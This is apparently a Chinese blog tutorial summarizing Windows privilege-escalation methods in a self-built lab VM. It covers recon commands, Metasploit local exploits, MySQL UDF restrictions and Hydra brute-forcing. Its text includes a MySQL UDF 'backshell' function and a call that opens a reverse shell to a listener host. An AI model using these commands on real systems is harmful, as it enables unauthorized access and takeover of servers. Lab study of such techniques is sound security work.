提权 --Windows提权方式总结

文章目录

      • 一、提权含义
      • 二、环境搭建
        • 2.1 环境一览
        • 2.2 靶机环境搭建
      • 三、信息收集
        • 3.1前提条件
        • 3.2 基本信息收集
          • 3.2.1 判断操作系统
          • 3.2.2 判别当前权限
          • 3.2.3 其它信息获取
        • 3.3 高级信息收集
          • 3.3.1 获取安装软件信息
          • 3.3.2 wmic后渗透命令
      • 四、主动攻击
        • 4.1 溢出漏洞提权
          • 4.1.1 Metasploit
            • A. 查看当前权限
            • B. 查看系统补丁
            • C. 本地溢出提权
        • 4.2 密码破解提权
        • 4.3 Mysql数据库提权
          • 4.3.1 UDF提权
            • 导出UDF问题
            • a. 数据库版本对UDF函数限制
          • 4.3.2 MOF提权
          • 4.3.3 反弹端口提权
            • A. 原理问题
            • B. 前提条件
            • C. 攻击过程
            • D. 提权方法
      • 五、被动攻击

以下所有的操作都是在靶机环境中进行学习展示,对他人操作系统进行破坏会依法进行制裁!!!

一、提权含义

  提高自己在服务器中权限(主要针对在网站入侵过程中,通过各种漏洞获得最高权限的操作过程)

二、环境搭建

2.1 环境一览

  • Windows 10 1809(宿主机)
  • VMware Workstation 15 Pro(虚拟机)
  • Windows2008R2(靶机环境)

2.2 靶机环境搭建

Tips:如有其它的靶机环境,这部分可以略过

  网上本来想找一些环境供大家进行练习,没有找到合适的虚拟机,这里就自己搭建一个吧!
》》将windows2008R2镜像copy到机子上并进行在虚拟机中准备安装
提权 --Windows提权方式总结_第1张图片
提权 --Windows提权方式总结_第2张图片
提权 --Windows提权方式总结_第3张图片
提权 --Windows提权方式总结_第4张图片
提权 --Windows提权方式总结_第5张图片
提权 --Windows提权方式总结_第6张图片
提权 --Windows提权方式总结_第7张图片
提权 --Windows提权方式总结_第8张图片
》》开启虚拟机,等待安装完成
提权 --Windows提权方式总结_第9张图片
》》等待VMware Tools安装
提权 --Windows提权方式总结_第10张图片
》》等待重新启动(键入安装时的密码)
提权 --Windows提权方式总结_第11张图片

Tips:以下的所有命令都是在模仿管理员的操作!

》》创建一个普通用户Kevin(密码:kevin123)
在这里插入图片描述

》打开安全策略(secpol.msc),修改如下策略:
提权 --Windows提权方式总结_第12张图片
》》添加成功,并查看当前用户
提权 --Windows提权方式总结_第13张图片
》》用户权限展示(标准用户)
提权 --Windows提权方式总结_第14张图片
》》切换到Kevin用户

三、信息收集

3.1前提条件

  • 获得对方的shell

场景构建:此场景信息收集在于拿到了一个服务器shell,在低权限账户下的信息收集操作(这里为了方便演示我们可以使用nc反弹一个shell)
》》kali监听:
在这里插入图片描述
》》受害者执行
在这里插入图片描述
》》kali获得shell
提权 --Windows提权方式总结_第15张图片

3.2 基本信息收集

主要是一些windows上的cmd命令使用

3.2.1 判断操作系统

方法一:(利用不同操作系统命令判断,输入linux命令不能执行则目标系统为windows)
提权 --Windows提权方式总结_第16张图片

Tips:我们可以根据windows和linux特性:一直ping则判断是linux,发送4个数据包则是windows(这里借用下同事曾经的经验)

提权 --Windows提权方式总结_第17张图片

3.2.2 判别当前权限

》》通过at命令查看当前权限
(Tips:系统权限下才能执行at/schtask)
在这里插入图片描述

3.2.3 其它信息获取

》》获取主机名和用户用户
在这里插入图片描述

》》获取ip信息
提权 --Windows提权方式总结_第18张图片
》》获取系统变量
提权 --Windows提权方式总结_第19张图片
》》获取一些基本信息

  • 主机版本型号
  • 安装日期
  • 是否为虚拟机(根据:系统制造商)
  • 服务器时区
  • 网卡信息
    提权 --Windows提权方式总结_第20张图片
    》》获取本地端口信息
    (Tips:可以查看到哪些内网主机可以与本机进行数据交互,还可以查看一些内网主机存活列表)
    提权 --Windows提权方式总结_第21张图片

3.3 高级信息收集

3.3.1 获取安装软件信息

》》在注册表中获取详细的安装软件信息

reg export HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.txt

(列出了软件名称和版本信息)
提权 --Windows提权方式总结_第22张图片
》》匹配注册表中的软件

find "DisplayName" reg.txt |find /V "ParentDisplayName" > tmplist.txt

(简单查看软件名和版本)
提权 --Windows提权方式总结_第23张图片

3.3.2 wmic后渗透命令

关于wmic后渗透命令会在后边进行详细阐述!

四、主动攻击

4.1 溢出漏洞提权

4.1.1 Metasploit

情景提示:现在我们有一个普通用户的shell,并成功在目标机子上运行了msf生成的载荷文件,操作方法可参考:Windows系统后门之exe文件

A. 查看当前权限

在这里插入图片描述
(通过shell查看到非系统权限)
在这里插入图片描述

B. 查看系统补丁
  • 方法一(POST模块-漏洞侦查尝试)
    》》使用post/multi/recon/local_exploit_suggester模块进行侦查能够呗识别的漏洞
    提权 --Windows提权方式总结_第24张图片
  • 方法二(POST模块-未打补丁查看)
    提权 --Windows提权方式总结_第25张图片
C. 本地溢出提权

》》将Meterpreter当前会话切换至后台
提权 --Windows提权方式总结_第26张图片
(通过B查看的系统补丁,这里随便用一个未打的系统补丁进行测试)
》》搜索ms11-080
(AfdJoinLeaf特权升级)
在这里插入图片描述

》》使用此漏洞进行提权
提权 --Windows提权方式总结_第27张图片
》》查看配置参数,设置session即可
提权 --Windows提权方式总结_第28张图片
》》告诉我们不支持64位系统运行攻击,这里具体还需要参考gthub上系统移除漏洞提权汇总:https://github.com/SecWiki/windows-kernel-exploits
》》这里我们直接使用ms18-8120
提权 --Windows提权方式总结_第29张图片
》》成功获取最高权限
在这里插入图片描述
在这里插入图片描述

4.2 密码破解提权

4.3 Mysql数据库提权

4.3.1 UDF提权
导出UDF问题
a. 数据库版本对UDF函数限制
  • 数据库版本在4.1之前,可以将DLL中的函数都注册到MSYQL里供mysql调用(无论位置)
  • 数据库版本在4.1之后,UDF函数进行限制,只有特定接口的函数才可以被成功注册到mysql中(防止mysql非法调用系统dll)
  • 数据库版本在5.0之后,对注册DLL的位置有限制,不能为绝对路径(可以通过将DLL放到system32目录下绕过此限制,将dll放到PATH环境变量的任何一个目录下也可以)
  • 数据库版本在5.1之后,创建函数时所用的dll只能放到mysql的plugin目录中(默认该目录不存在)
4.3.2 MOF提权
4.3.3 反弹端口提权
A. 原理问题

原理:

本质上也是一种udf提权,利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

问题:

  • 测试的版本如下不能创建函数,如能创建函数则可利用这种方式提权
    (这里我安装了两个5.1以下的版本测试都失败了)
    提权 --Windows提权方式总结_第30张图片
    提权 --Windows提权方式总结_第31张图片
B. 前提条件
  • 数据库允许远程连接(外网访问连接)
  • 获取到数据库的密码
  • 当前数据库版本可以创建函数,mysql版本
C. 攻击过程

攻击过程指:探测到数据库可远程连接且对数据库密码进行获取的过程

》》Nmap探测目的端口是否开放了mysql服务(已开放)
提权 --Windows提权方式总结_第32张图片
》》测试是否开启远程链接远程连接
方法一: 远程检查是否允许远程连接(返回如下不允许连接):
在这里插入图片描述

方法二: 使用客户端管理软件连接试探(返回如下则不允许远程连接):
提权 --Windows提权方式总结_第33张图片
方法二: Hydra 远程爆破,显示如下则不允许远程连接
提权 --Windows提权方式总结_第34张图片
》》这里为了演示提权方法,先允许数据库远程连接,操作请参考:Mysql开启远程连接

D. 提权方法

》》使用hydra爆破到msyql的密码(略)
》》远程连接到对方的mysql
提权 --Windows提权方式总结_第35张图片
》》创建函数backshell

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; 

》》在独立主机上执行监听
在这里插入图片描述
》》执行backshell

select backshell("监听主机IP",2020);

五、被动攻击

你可能感兴趣的:(权限提升)